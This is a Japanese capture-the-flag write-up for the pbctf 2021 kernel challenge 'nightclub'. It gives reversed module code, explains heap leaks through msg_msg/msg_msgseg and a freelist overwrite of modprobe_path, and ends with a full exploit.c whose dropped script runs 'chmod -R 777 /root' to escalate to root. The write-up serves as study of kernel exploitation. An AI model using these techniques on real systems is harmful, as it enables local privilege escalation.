春は曙。
いつぞや開催された pbctf 2021 のkernel問題nightclubを解いていく。
結果としては、msg_msg
とmsg_msgseg
問題だった。
static
lysithea
lysithea.txt 1===============================
2Drothea v1.0.0
3[.] kernel version:
4Linux version 5.14.1 (ss@ubuntu) (gcc (Ubuntu 9.3.0-17ubuntu1~20.04) 9.3.0, GNU ld (GNU Binutils for Ubuntu) 2.34) #4 SMP Mon Oct 4 05:54:25 PDT 2021
5[-] CONFIG_KALLSYMS_ALL is enabled.
6you mignt be able to leak info by invoking crash.
7cat: /proc/sys/kernel/unprivileged_bpf_disabled: No such file or directory
8cat: /proc/sys/vm/unprivileged_userfaultfd: No such file or directory
9[-] unprivileged userfaultfd is disabled.
10[?] KASLR seems enabled. Should turn off for debug purpose.
11Ingrid v1.0.0
12[-] userfualtfd is disabled.
13[-] CONFIG_STRICT_DEVMEM is enabled.
14===============================
特に隙の無い設定。SMEP/SMAP/KASLR有効。
reverse
なぜか、ソースコードが配布されていなかった。まさか故意に添付しなかったはずがないだろうから、おそらく配布するのを忘れてしまったのだろう。おっちょこちょい。以下が全てのコードのreverse結果。
reversed.c 1int init_module(void)
2{
3 // register chrdev with M/m=0/0
4 major_num = __register_chrdev(0,0,0x100,"nightclub",file_ops);
5 if (major_num < 0) { // error
6 printk(&DAT_00100558,major_num);
7 return major_num;
8 }
9 printk(&DAT_00100580,major_num); // success
10 return 0;
11}
12
13struct file_operations file_ops = {
14 .read = device_read,
15 .write = device_write,
16 .open = device_open,
17 .release = device_release,
18 .compat_ioctl = device_ioctl,
19};
20
21int device_open(struct inode*, struct file*)
22{
23 device_open_count = device_open_count + 1;
24 try_module_get(__this_module);
25 return 0;
26}
27
28int device_release(struct inode*, struct file*)
29{
30 device_open_count = device_open_count + -1;
31 module_put(__this_module);
32 return 0;
33}
34
35ssize_t device_read(struct file *, char __user *, size_t, loff_t *)
36{
37 return -EINVAL;
38}
39
40ssize_t device_write(struct file *, const char __user *, size_t, loff_t *) {
41 printk(&DAT_00100530);
42 return -EINVAL;
43}
44
45#define NIGHT_ADD 0xcafeb001
46#define NIGHT_DEL 0xcafeb002
47#define NIGHT_EDIT 0xcafeb003
48#define NIGHT_INFO 0xcafeb004
49
50long device_ioctl (struct file* file, unsigned int cmd, unsigned long args) {
51 switch (cmd) {
52 case NIGHT_ADD:
53 return add_chunk();
54 case NIGHT_DEL:
55 return del_chunk();
56 case NIGHT_EDIT:
57 return edit_chunk();
58 // leak diff
59 case NIGHT_INFO:
60 return edit_chunk - __kmalloc;
61 defualt:
62 return -1;
63 }
64}
65
66
67struct night {
68 night *next;
69 night *prev;
70 char unset1[0x16];
71 ulong offset;
72 char unset2[0x16];
73 uint randval;
74 char unset[0x14];
75 char unknown2[0x10];
76 char data[0x20];
77};
78
79struct userreq {
80 char unknown2[0x10];
81 char data[0x20];
82 uint target_randval;
83 uint uunknown1;
84 ulong offset;
85 uint size;
86};
87
88struct {
89 night *next;
90 night *prev;
91} master_list;
92
93uint add_chunk(userreq *arg) {
94 uint randval_ret = (uint)-1;
95 uint size;
96 night *ptr = NULL;
97 night *buf = kmem_cache_alloc_trace(XXX, 0xcc0, 0x80);
98
99 /*
100 unknown range check operations (skip).
101 */
102
103 buf->prev = NULL;
104 buf->next = NULL;
105
106 _copy_from_user(&buf->offset, &arg->offset, 8);
107 _copy_from_user(&size, &arg->size, 4);
108 if ((0x20 < size) || (0x10 < buf->offset)) {
109 kfree(buf);
110 return -1;
111 }
112 _copy_from_user(&buf->unknown2, &arg->unknown2, 0x10);
113 if ((int)size < 0) { while(true) {halt();}}
114 _copy_from_user(buf->data, arg->data, size);
115 buf->data[size] = '\0'; // single NULL-byte overflow
116 get_random_bytes(&randval_ret, 4);
117
118
119 ptr = master_list->next;
120 master_list->next = buf;
121 buf->randval = randval_ret;
122 ptr->prev = buf;
123 buf->next = ptr;
124 buf->prev = (night*)master_list;
125
126 return randval_ret;
127}
128
129long del_chunk(userreq *arg) {
130 uint target_randval, current_randval;
131 night *ptr, *next, *prev;
132
133 _copy_from_user(&target_randval, &arg->target_rand, 4);
134 ptr = master_list->next;
135
136 if (ptr != master_list) {
137 do {
138 /*
139 unknown range check operation (skip).
140 */
141
142 next = ptr->next;
143 current_randval = ptr->randval;
144 // target night found. unlink it.
145 if (current_randval == target_randval) {
146 prev = ptr->prev;
147 next->prev = prev;
148 prev->next = next;
149 // unknown clear of pointers before kfree().
150 ptr->next = (night*)0xdead000000000100;
151 ptr->prev = (night*)0xdead000000000122;
152 kfree(ptr);
153 return 0;
154 }
155 } while (next != master_list);
156 }
157}
158
159long edit_chunk(userreq *arg) {
160 uint target_randval, current_randval, size;
161 ulong offset;
162 night *ptr;
163
164 _copy_from_user(&target_randval, &arg->target_rand, 4);
165 _copy_from_user(&offset, &arg->offset, 8);
166 if (master_list->next != master_list) {
167 ptr = master_list->next;
168 do {
169 /*
170 unknown range check operation (skip).
171 */
172
173 current_randval = ptr->randval;
174 if (current_randval == target_randval) {
175 _copy_from_user(&size, &arg->size, 4);
176 if ((0x20 < size) || (0x10 < offset) { return -1; }
177 _copy_from_user(ptr->data + offset, arg->data, size); // heap overflow (max 0x10 bytes)
178 ptr->data[offset + size] = '\0'; // single NULL-byte overflow
179 return 0;
180 }
181
182 ptr = ptr->next;
183 } while (ptr != master_list)
184 }
185}
なお、上のソースコード中にも示したように、ところどころに謎のレンジチェックが入っていたが、リバースするのがしんどすぎたために無視した。(のちにわかったことだが、このモジュールを利用してmodprobe_path
に直接的に書き込むのを防ぐ効果があった。まぁ邪魔なだけだったけど)
module abstraction
f_ops
は実質的にioctl
のみ。
上に示したnight
という構造体のadd
/del
/edit
ができる。この構造体は謎のパディングがところどころ入っていて気持ち悪い。night
たちはmaster_list
変数をheadとする双方向リストで管理されており、内部にrandval
というユニークなランダム値を持っていて、これを指定することで該当night
を削除したり編集できる。
最後に、NIGHT_INFO
コマンドでedit_chunk - __kmalloc
のdiffを教えてくれる。因みにこういう露骨なのは好きじゃない。
vulns
single NULL-byte overflow
edit_chunk
及びadd_chunk
内において、以下のようなコードがある:
1 ptr->data[offset + size] = '\0'
ptr
はリスト中のnight
であり、data
は構造体の終端に位置するchar[0x20]
型変数である。size
はsize <= 0x20
という条件のため、上のコードで1バイト分だけNULLがオーバーフローする。
10 bytes overflow
同じくedit_chunk()
内において、更新するデータは以下のように上書きされる:
1 _copy_from_user(&size, &arg->size, 4);
2 if ((0x20 < size) || (0x10 < offset) { return -1; }
3 _copy_from_user(ptr->data + offset, arg->data, size); // heap overflow (max 0x10 bytes)
data
がchar[0x20]
であることから、0x10byte分だけ自由にoverflowできる。
NIGHT_INFO
これはバグではないが、前述したとおりedit_chunk - __kmalloc
を教えてくれる。これは、モジュールのアドレスさえleakできれば、このdiffを使ってkernbaseが計算できることを意味する。
leak heap addr via msg_msg
/ msg_msgseg
abstraction of heap collaption
heap内でoverflowがあり、かつ双方向リストを使っているため、next
/prev
を書き換えるというのが基本方針。
10byte overflowがあるものの、heapのアドレスがわかっていないために活用できない。まずはheapのアドレスをleakすることを目指す。
まず、適当に10個くらいnight
をadd
すると、以下のようなheap layoutになる。
このとき、3のnight
でNULL-overflowをすると、4のnight.next
が0xffff8880041a4780
から0xffff8880041a4700
になる。つまり、2を指すようになる。
その後、del_chunk()
で3を消去し、next
/prev
を繋ぎ替えると、2のprev
の値として4のprev
の値、すなわち5のアドレスが入ることがわかる。。
ここで重要なのは、2が既にfree
されてリスト中に存在してなかったとしてもprev
の値が書き込まれるということである。つまり、2を先にdel
しておいて、ここに何らかの構造体を入れておけば、その構造体を介してprev
の値をleakできる。
utilize msg_msgseg
to read first 10bytes
さて、leakに使う構造体だが、今回はnight
の大きさが0x80
であるためmsg_msg
を使うことにする。
だが、普通にmsg_msg
ヘッダ込みで0x80
だけ確保しようとすると、以下のようなレイアウトになってしまう。
上の図はmsg_msg
とuserデータを合わせたもので、この状態でdel
をしてprev
を書き込むと、prev
はmsg_msg.m_list
内に書き込まれてしまう。これはユーザデータではない領域なので、msgrcv()
で読み取ることができない。
ではどうすればいいかというと、これはalloc_msg()
の実装を読めば明らかである。
1struct msg_msg {
2 struct list_head m_list;
3 long m_type;
4 size_t m_ts; /* message text size */
5 struct msg_msgseg *next;
6 void *security;
7 /* the actual message follows immediately */
8};
9struct msg_msgseg {
10 struct msg_msgseg *next;
11 /* the next part of the message follows immediately */
12};
13
14#define DATALEN_MSG ((size_t)PAGE_SIZE-sizeof(struct msg_msg))
15#define DATALEN_SEG ((size_t)PAGE_SIZE-sizeof(struct msg_msgseg))
16
17static struct msg_msg *alloc_msg(size_t len)
18{
19 struct msg_msg *msg;
20 struct msg_msgseg **pseg;
21 size_t alen;
22
23 alen = min(len, DATALEN_MSG);
24 msg = kmalloc(sizeof(*msg) + alen, GFP_KERNEL_ACCOUNT);
25 if (msg == NULL)
26 return NULL;
27
28 msg->next = NULL;
29 msg->security = NULL;
30
31 len -= alen;
32 pseg = &msg->next;
33 while (len > 0) {
34 struct msg_msgseg *seg;
35
36 cond_resched();
37
38 alen = min(len, DATALEN_SEG);
39 seg = kmalloc(sizeof(*seg) + alen, GFP_KERNEL_ACCOUNT);
40 if (seg == NULL)
41 goto out_err;
42 *pseg = seg;
43 seg->next = NULL;
44 pseg = &seg->next;
45 len -= alen;
46 }
47
48 return msg;
49
50out_err:
51 free_msg(msg);
52 return NULL;
53}
この関数では、まず最初にmsg_msg
ヘッダと「いくらかの」ユーザデータ分の領域を確保したあと、残りのユーザデータがなくなるまではmsg_msgseg
ヘッダと「いくらかの」ユーザデータ分の領域を確保し続ける。
ここで「いくらかの」とは、msg_msg
(最初の1回)の場合にはDATALEN_MSG
、msg_msgseg
の場合にはDATALEN_SEG
である。上のdefineからもわかるとおり、1回のkmalloc
の大きさが0x1000
になるようになっている。
よって、0x80
分だけのメッセージをmsgsnd
する代わりに、DATALEN_MSG + 0x80 - sizeof(msg_msg) - sizeof(msg_msgseg)
だけの大きさを持つユーザデータを送ってやれば、1つ目のユーザデータはmsg_msg
とともにkmalloc-1K
に確保され、残りのユーザデータはmsg_msgseg
とともにkmalloc-128
に入ってくれる。そして、msg_msg
が0x30bytesもあるのに対してmsg_msgseg
は0x8bytesしかない。これによって、msgrcv()
を使うと最初の8byteを除いて任意の大きさの構造体からデータを読み取ることが可能になる。
以上でheapbaseのlaek完了。
leak module base and kernbase
続いて、モジュールベースを求める。双方向リストゆえ、最新のnight
はprev
としてヘッドのmaster_list
のアドレスを保持している。これを読めれば良い。
この時点でheapbaseがわかっているため、10bytes-overflowを使ってnight
のnext/prev
をヒープ内の任意のアドレスに書き換えることができる。もちろんread機能はないために直接読み取ることはできないが、msg_msg
ヘッダ内のm_ts
を書き換えることでmsgrcv
時に読み込むサイズを任意に大きくすることができる。
なお、前のヒープのleakの段階でリストが壊れているが、基本的にリストの探索はターゲットが見つかれば打ち切られるため新しいnight
を確保してそれらだけを利用すれば、特に問題はない。
これで、ヒープ内を雑に読み込んで、モジュールベースのleak完了。
前述したとおり、edit_chunk - __kmalloc
がわかっているため、これでkbaseがleakできたことになる。
overwrite modprobe_path
unknown range check prevents overwriting…?
最後にmodprobe_path
を書き換える。普通に考えると、10byte-overflowを使ってnight.next
がmodprobe_path - x
を指すようにして、edit_chunks()
で書き換えれば終わりのように思える。
だが、実際に試してみると、最後のedit_chunks()
がどうしても不正な値を返してきた。おそらくだが、最初の"reversing"の項で無視したレンジチェックみたいなところで、ヒープ外の値に書き込もうとするとエラーを出すようになっているぽい。詳しくは見てないから勘だけど。
directly overwrite heap’s next pointer
少し実験した感じ、SLUBのfreelistのHARDENINGとかRANDOMIZEとかのコンフィグは有効になっていなかった(例え有効になっていても、ここまでheapを掌握していれば大丈夫なような気もするけど)。heapのnextポインタは、今回の場合offset:+0x40に置かれていた。よって、これを直接書き換えることで、次の次のkmallocの際にmodprobe_path
上にchunkを置くことができる。このchunkに入れる構造体は、やはりmsg_msg
で良い。
exploit
exploit.c 1#include "./exploit.h"
2#include <sys/ipc.h>
3#include <sys/mman.h>
4
5/*********** commands ******************/
6#define DEV_PATH "/dev/nightclub" // the path the device is placed
7
8#define NIGHT_ADD 0xcafeb001
9#define NIGHT_DEL 0xcafeb002
10#define NIGHT_EDIT 0xcafeb003
11#define NIGHT_INFO 0xcafeb004
12
13//#define DATALEN_MSG ((size_t)PAGESIZE-sizeof(struct msg_msg))
14#define DATALEN_MSG ((size_t)PAGE-0x30)
15#define DATALEN_SEG ((size_t)PAGE-0x8)
16
17struct night{
18 struct night *next; // double-linked list, where new node is inserted into head->next.
19 struct night *prev;
20 char unset1[0x16];
21 ulong offset;
22 char unset2[0x16];
23 uint randval;
24 char unset[0x14];
25 char unknown2[0x10];
26 char data[0x20];
27} night;
28
29struct userreq{
30 char unknown2[0x10];
31 char data[0x20];
32 uint target_randval;
33 uint uunknown1;
34 ulong offset;
35 uint size;
36};
37
38/*********** globals ******************/
39
40int night_fd = -1;
41const ulong diff_master_list_edit = 0xffffffffc0002100 - 0xffffffffc0000010;
42const ulong diff_modprobe_path = 0xffffffff8244fca0 - 0xffffffff81000000;
43
44// (END globals)
45
46long night_ioctl(ulong cmd, void *req) {
47 if (night_fd == -1) errExit("night_fd is not initialized.");
48 long ret = ioctl(night_fd, cmd, req);
49 assert(ret != -1);
50 return ret;
51}
52
53uint night_info(void) {
54 long diff = night_ioctl(NIGHT_INFO, NULL);
55 return diff;
56}
57
58uint night_add(char *buf, ulong offset, uint size) {
59 struct userreq req = {
60 .offset = offset,
61 .size = size,
62 };
63 memcpy(req.data, buf, 0x20);
64 long ret = night_ioctl(NIGHT_ADD, &req);
65 assert(ret != -1);
66 return ret;
67}
68
69void night_edit(char *buf, uint target_randval, ulong offset, uint size) {
70 struct userreq req = {
71 .offset = offset,
72 .size = size,
73 .target_randval = target_randval,
74 };
75 memcpy(req.data, buf, 0x20);
76 assert(night_ioctl(NIGHT_EDIT, &req) == 0);
77}
78
79void night_del(uint target_randval) {
80 struct userreq req = {
81 .target_randval = target_randval,
82 };
83 assert(night_ioctl(NIGHT_DEL, &req) == 0);
84}
85
86struct msgbuf80 {
87 long mtype;
88 char mtext[0x80];
89};
90struct msgbuf80alpha {
91 long mtype;
92 char mtext[(DATALEN_MSG + 0x30) + 0x80 - 8]; // -8 is for msg_msgseg of second segment
93};
94
95int main(int argc, char *argv[]) {
96 puts("[ ] Hello, world.");
97 assert((night_fd = open(DEV_PATH, O_RDWR)) > 2);
98 char *buf = mmap(NULL, PAGE, PROT_READ | PROT_WRITE, MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);
99 assert(buf != MAP_FAILED);
100 memset(buf, 'A', PAGE);
101
102 // prepare for modprobe_path tech
103 system("echo -n '\xff\xff\xff\xff' > /home/user/evil");
104 system("echo '#!/bin/sh\nchmod -R 777 /root\ncat /root/flag' > /home/user/nirugiri");
105 system("chmod +x /home/user/nirugiri");
106 system("chmod +x /home/user/evil");
107
108 // clean kmalloc-128
109 puts("[.] cleaning heap...");
110 #define CLEAN_N 40
111 struct msgbuf80 clean_msg80 = { .mtype = 1 };
112 struct msgbuf80alpha clean_msg80alpha = { .mtype = 1 };
113 memset(clean_msg80.mtext, 'X', 0x80);
114 memset(clean_msg80alpha.mtext, 'X', sizeof(clean_msg80alpha.mtext));
115 for (int ix = 0; ix != CLEAN_N; ++ix) {
116 int qid = msgget(IPC_PRIVATE, 0666 | IPC_CREAT);
117 KMALLOC(qid, clean_msg80, 1);
118 }
119
120 // get diff of __kernel and edit_chunk and __kmalloc
121 uint edit_kmalloc_diff = night_info();
122 printf("[+] edit_chunk - __kmalloc: 0x%x\n", edit_kmalloc_diff);
123
124 // add first chunks
125 #define FIRST_N 10
126 uint randvals[FIRST_N] = {0};
127 printf("[.] allocating first chunks (%d)\n", FIRST_N);
128 for (int ix = 0; ix != FIRST_N; ++ix) {
129 randvals[ix] = night_add(buf, 0, 0x1F);
130 printf("[.] alloced randval: %x\n", randvals[ix]);
131 }
132
133 // single NULL-byte overflow into night[6]->next
134 night_edit(buf, randvals[5], 0, 0x20);
135
136 night_del(randvals[4]);
137 // allocate msg_msgseg + userdata at &night[4]
138 int qid = msgget(IPC_PRIVATE, 0666 | IPC_CREAT);
139 KMALLOC(qid, clean_msg80alpha, 1);
140 // make night[2]->prev point to &night[4]
141 night_del(randvals[6]);
142 // leak heap addr via msg_msgseg
143 ssize_t n_rcv = msgrcv(qid, &clean_msg80alpha, sizeof(clean_msg80alpha.mtext) - 0x30, clean_msg80alpha.mtype, 0);
144 printf("[+] received 0x%x size of message.\n", n_rcv);
145 ulong leaked_heap = *(ulong*)(clean_msg80alpha.mtext + DATALEN_MSG);
146 ulong heap_base = leaked_heap - 0x380;
147 printf("[!] leaked heap: 0x%lx\n", leaked_heap);
148 printf("[!] heapbase: 0x%lx\n", heap_base);
149
150
151 /** overwrite next pointer, edit msg_msg's size, read heap sequentially, leak master_list. **/
152
153 // heap is tampered, allocate fresh nights.
154 #define SECOND_N 6
155 uint randvals2[SECOND_N] = {0};
156 for (int ix = 0; ix != SECOND_N; ++ix) {
157 randvals2[ix] = night_add(buf, 0, 0x20);
158 }
159
160 // allocate simple msg_msg + userdata
161 memset(clean_msg80.mtext, 'Y', 0x50);
162 KMALLOC(qid, clean_msg80, 1);
163
164 // overflow to overwrite night[1]->next to allocated msg_msg
165 printf("[+] overwrite next target with 0x%lx\n", heap_base+ 0x700 + 0x10 - 0x60);
166 *(ulong*)(buf + 0x10) = heap_base + 0x700 + 0x10 - 0x60;
167 night_edit(buf, randvals2[3], 0x10, 0x20);
168
169 // edit to overwrite msg_msg.m_ts with huge value
170 ulong val[0x2];
171 val[0] = 1;
172 val[1] = 0x200; // m_ts
173 night_edit((char*)val, 0x41414141, 0, 0x10);
174
175 // allocate new night and read master_list
176 night_add(buf, 0, 0);
177 n_rcv = msgrcv(qid, &clean_msg80, 0x500, clean_msg80alpha.mtype, 0);
178 printf("[+] received 0x%x size of message.\n", n_rcv);
179 ulong master_list = *(ulong*)(clean_msg80.mtext + 0xb * 8);
180 ulong edit_chunk = master_list - diff_master_list_edit;
181 ulong __kmalloc = edit_chunk - edit_kmalloc_diff;
182 ulong kbase = __kmalloc - 0x1caa50;
183 ulong modprobe_path = kbase + diff_modprobe_path;
184 printf("[!] master_list: 0x%lx\n", master_list);
185 printf("[!] edit_chunk: 0x%lx\n", edit_chunk);
186 printf("[!] __kmalloc: 0x%lx\n", __kmalloc);
187 printf("[!] kbase: 0x%lx\n", kbase);
188 printf("[!] modprobe_path: 0x%lx\n", modprobe_path);
189
190 /** overwrite modprobe_path **/
191 strcpy(clean_msg80.mtext, "/home/user/nirugiri\x00");
192
193 // heap is collapsed, allocate fresh nights.
194 #define THIRD_N 2
195 uint randvals3[THIRD_N] = {0};
196 for (int ix = 0; ix != THIRD_N; ++ix) {
197 randvals3[ix] = night_add(buf, 0, 0x20);
198 }
199
200 // overwrite night's next ptr
201 printf("[+] overwrite next target with 0x%lx\n", heap_base + 0x8c0 - 0x60);
202 *(ulong*)(buf + 0x10) = heap_base + 0x8c0 - 0x60; // heap's next ptr is placed at +0x40 of chunk.
203 night_edit(buf, randvals3[0], 0x10, 0x20);
204
205 // edit to overwrite heap's next pointer
206 val[0] = modprobe_path - 0xa0 + 0x80 - 0x10;
207 val[1] = 0x0;
208 night_edit((char*)val, 0x0, 0, 0x10);
209
210 // overwrite modprobe_path
211 night_add(buf, 0, 0);
212 puts("[+] allocating msg_msg on modprobe_path.");
213 qid = msgget(IPC_PRIVATE, 0666 | IPC_CREAT);
214 KMALLOC(qid, clean_msg80, 1);
215
216 // invoke evil script
217 puts("[!] invoking evil script...");
218 system("/home/user/evil");
219
220 // end of life
221 puts("[ ] END of life...");
222}
アウトロ
msg_msg
はread/writeに関して言えばかなり万能でいいですね。とりわけmsg_msgseg
と組み合わせることで、0x8 ~ 0x1000 bytes までの任意のサイズに対してread/writeができるのが強いです。
この問題自体は、問題が少しわざとらしかったり、構造体にパディングが多くあからさまだったり、そして何よりソースコードの配布を「おっちょこちょい」で忘れてしまってたりと荒削りなところも合ったけど、msg_msg
の汎用性の再確認ができる言い問題だったと思います。
次回、池の水全部飲んでみたでお会いしましょう。
続く。
参考
- msg_msg primitive: https://google.github.io/security-research/pocs/linux/cve-2021-22555/writeup.html
- other example of msg_msg: https://a13xp0p0v.github.io/2021/02/09/CVE-2021-26708.html
- other writeup for this chall: https://www.willsroot.io/2021/10/pbctf-2021-nightclub-writeup-more-fun.html
- other writeup for this chall: https://kileak.github.io/ctf/2021/pb21-nightclub/
- useful structures: https://ptr-yudai.hatenablog.com/entry/2020/03/16/165628
- ニルギリ: https://youtu.be/yvUvamhYPHw